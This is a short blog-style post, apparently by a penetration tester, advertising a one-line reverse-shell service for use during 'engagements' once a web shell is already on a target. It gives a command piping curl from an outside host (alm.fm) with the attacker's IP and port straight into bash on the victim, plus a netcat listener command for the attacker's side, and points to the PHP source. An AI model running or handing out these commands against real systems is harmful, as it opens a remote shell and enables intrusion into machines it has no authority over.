curl https://alm.fm/<your-ip>/<your-port> | bash
On your machine make sure you have something like this running:
nc -l -p <your-port>This should save you some time when performing engagements and you have a web shell or similar. It's worth noting that the target will attempt to make a TCP connection outbound, which may be picked up.
Be aware that curl XXXX | bash is seen as bad practice these days (when was it ever a good idea?), but in this case it's convenient. You can grab the PHP code here.